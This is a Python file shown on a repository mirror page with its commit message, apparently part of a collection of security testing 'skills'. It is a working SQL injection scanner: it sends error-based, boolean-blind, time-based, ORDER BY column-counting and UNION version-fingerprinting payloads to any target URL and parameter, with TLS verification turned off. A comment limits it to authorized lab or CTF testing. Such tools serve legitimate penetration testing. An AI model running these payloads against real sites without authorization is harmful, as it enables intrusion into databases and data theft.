mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-10 21:24:56 +03:00
c47eed6a64
- Fix 25 shell=True subprocess calls with list-based commands - Fix 49 verify=False in defensive skills (env-var override) - Add timeout to 231 HTTP/subprocess/socket calls - Fix 6 SQL injection patterns with whitelist validation - Replace 8 __import__() with standard imports - Remove 701 unused imports across 442 files - Add authorized-testing disclaimers to all offensive skills - Complete 11 incomplete skill directories - Expand 10 stub SKILL.md files with full content - Fix 2 YAML parse errors in frontmatter - Fix 5 pre-existing syntax errors - Convert 22 hardcoded paths/ports to environment variables - Back up 21 redundant skill pairs to .bak - Fix 2 global declaration errors - 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE) - 0 compile errors across all 724 agent.py files
197 lines
7.3 KiB
Python
197 lines
7.3 KiB
Python
#!/usr/bin/env python3
|
|
# For authorized testing in lab/CTF environments only
|
|
"""SQL injection detection agent using requests for manual technique-based testing."""
|
|
|
|
import argparse
|
|
import json
|
|
import logging
|
|
import sys
|
|
import time
|
|
import re
|
|
from typing import Optional
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
sys.exit("requests is required: pip install requests")
|
|
|
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
|
logger = logging.getLogger(__name__)
|
|
|
|
SQL_ERRORS = {
|
|
"mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
|
|
"postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
|
|
"mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
|
|
"oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
|
|
"sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
|
|
}
|
|
|
|
|
|
def detect_error_based(url: str, param: str, method: str = "GET",
|
|
headers: Optional[dict] = None) -> dict:
|
|
"""Inject a single quote to detect SQL errors in the response."""
|
|
payload = "'"
|
|
test_url, data = _build_request(url, param, payload, method)
|
|
resp = _send(test_url, method, data, headers)
|
|
|
|
db_type = None
|
|
error_found = False
|
|
for db, patterns in SQL_ERRORS.items():
|
|
for pattern in patterns:
|
|
if re.search(pattern, resp.text, re.IGNORECASE):
|
|
db_type = db
|
|
error_found = True
|
|
break
|
|
if error_found:
|
|
break
|
|
|
|
return {
|
|
"technique": "error_based",
|
|
"parameter": param,
|
|
"injectable": error_found,
|
|
"database": db_type,
|
|
"status_code": resp.status_code,
|
|
}
|
|
|
|
|
|
def detect_boolean_based(url: str, param: str, method: str = "GET",
|
|
headers: Optional[dict] = None) -> dict:
|
|
"""Test boolean-based blind SQLi with true/false conditions."""
|
|
baseline_resp = _send(*_build_request(url, param, "1", method), headers)
|
|
true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
|
|
false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)
|
|
|
|
true_match = len(true_resp.content) == len(baseline_resp.content)
|
|
false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10
|
|
|
|
return {
|
|
"technique": "boolean_based",
|
|
"parameter": param,
|
|
"injectable": true_match and false_diff,
|
|
"baseline_length": len(baseline_resp.content),
|
|
"true_length": len(true_resp.content),
|
|
"false_length": len(false_resp.content),
|
|
}
|
|
|
|
|
|
def detect_time_based(url: str, param: str, method: str = "GET",
|
|
headers: Optional[dict] = None, delay: int = 5) -> dict:
|
|
"""Test time-based blind SQLi with sleep functions."""
|
|
payloads = {
|
|
"mysql": f"1 AND SLEEP({delay})--",
|
|
"postgresql": f"1; SELECT pg_sleep({delay})--",
|
|
"mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
|
|
}
|
|
results = {}
|
|
for db, payload in payloads.items():
|
|
start = time.time()
|
|
_send(*_build_request(url, param, payload, method), headers)
|
|
elapsed = time.time() - start
|
|
results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}
|
|
|
|
injectable = any(r["delayed"] for r in results.values())
|
|
detected_db = next((db for db, r in results.items() if r["delayed"]), None)
|
|
|
|
return {
|
|
"technique": "time_based",
|
|
"parameter": param,
|
|
"injectable": injectable,
|
|
"database": detected_db,
|
|
"delay_target": delay,
|
|
"timing_results": results,
|
|
}
|
|
|
|
|
|
def detect_union_columns(url: str, param: str, method: str = "GET",
|
|
headers: Optional[dict] = None, max_cols: int = 20) -> dict:
|
|
"""Determine the number of columns for UNION-based injection."""
|
|
for n in range(1, max_cols + 1):
|
|
payload = f"1 ORDER BY {n}--"
|
|
resp = _send(*_build_request(url, param, payload, method), headers)
|
|
if resp.status_code >= 400 or "error" in resp.text.lower():
|
|
return {"technique": "union_column_count", "parameter": param, "columns": n - 1}
|
|
|
|
return {"technique": "union_column_count", "parameter": param, "columns": None}
|
|
|
|
|
|
def fingerprint_database(url: str, param: str, method: str = "GET",
|
|
headers: Optional[dict] = None) -> dict:
|
|
"""Identify the database engine using version functions."""
|
|
version_payloads = {
|
|
"mysql": "1 UNION SELECT @@version,NULL--",
|
|
"postgresql": "1 UNION SELECT version(),NULL--",
|
|
"mssql": "1 UNION SELECT @@version,NULL--",
|
|
}
|
|
for db, payload in version_payloads.items():
|
|
resp = _send(*_build_request(url, param, payload, method), headers)
|
|
if resp.status_code == 200 and len(resp.content) > 50:
|
|
return {"database": db, "response_preview": resp.text[:200]}
|
|
|
|
return {"database": "unknown"}
|
|
|
|
|
|
def _build_request(url: str, param: str, value: str, method: str):
|
|
if method.upper() == "GET":
|
|
separator = "&" if "?" in url else "?"
|
|
return f"{url}{separator}{param}={requests.utils.quote(value)}", None
|
|
else:
|
|
return url, {param: value}
|
|
|
|
|
|
def _send(url: str, method: str = "GET", data: Optional[dict] = None,
|
|
headers: Optional[dict] = None) -> requests.Response:
|
|
h = headers or {}
|
|
try:
|
|
if method.upper() == "POST":
|
|
return requests.post(url, data=data, headers=h, timeout=15, verify=False)
|
|
return requests.get(url, headers=h, timeout=15, verify=False)
|
|
except requests.RequestException:
|
|
return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()
|
|
|
|
|
|
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
|
|
"""Run complete SQL injection assessment."""
|
|
error = detect_error_based(url, param, method)
|
|
boolean = detect_boolean_based(url, param, method)
|
|
timing = detect_time_based(url, param, method)
|
|
columns = detect_union_columns(url, param, method) if error["injectable"] else {}
|
|
|
|
injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
|
|
findings = []
|
|
if error["injectable"]:
|
|
findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
|
|
if boolean["injectable"]:
|
|
findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
|
|
if timing["injectable"]:
|
|
findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")
|
|
|
|
return {
|
|
"target": url,
|
|
"parameter": param,
|
|
"injectable": injectable,
|
|
"error_based": error,
|
|
"boolean_based": boolean,
|
|
"time_based": timing,
|
|
"union_columns": columns,
|
|
"findings": findings,
|
|
}
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
|
|
parser.add_argument("--url", required=True, help="Target URL")
|
|
parser.add_argument("--param", required=True, help="Parameter to test")
|
|
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
|
|
parser.add_argument("--output", default="sqli_report.json")
|
|
args = parser.parse_args()
|
|
|
|
report = run_assessment(args.url, args.param, args.method)
|
|
with open(args.output, "w") as f:
|
|
json.dump(report, f, indent=2)
|
|
logger.info("Report saved to %s", args.output)
|
|
print(json.dumps(report, indent=2))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|